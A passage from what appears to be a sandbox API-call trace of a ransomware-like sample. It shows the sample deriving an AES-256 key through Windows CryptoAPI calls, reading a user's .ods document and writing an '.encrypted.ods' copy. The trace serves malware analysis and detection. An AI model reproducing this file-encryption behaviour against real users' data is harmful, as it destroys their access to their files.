lpMsg=0xe8f3dfeaf0) returned 0 [0024.543] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.543] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.543] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.543] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.543] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.543] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.543] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.543] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.543] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.543] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.543] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.543] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.543] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.543] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.543] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.543] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.543] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.543] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.543] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.543] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.543] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.543] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.544] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.544] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.544] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.544] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.544] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.544] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.544] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.545] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.545] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.545] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.545] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.545] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.545] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.545] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.545] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.545] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.545] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.545] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.545] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418b6f0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.545] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.545] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.545] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.545] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.545] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.545] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0024.546] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.546] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.546] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.546] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.546] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.546] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.546] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.546] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.546] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0024.547] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.547] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.548] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.548] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.548] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.548] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.ods" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\ixoskeriaoimk.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.548] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.548] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.548] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.548] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.548] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.548] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u")) returned 0x10 [0024.548] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.encrypted.ods" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\ixoskeriaoimk.encrypted.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.549] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.549] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.549] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.549] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.550] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.550] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0024.552] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x30c5, lpOverlapped=0x0) returned 1 [0024.552] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.554] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.555] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.555] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.555] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.555] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.556] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.556] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.556] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.556] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.556] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.556] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.556] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.557] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.557] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064b60, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b60*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.557] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.557] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.557] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.558] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: 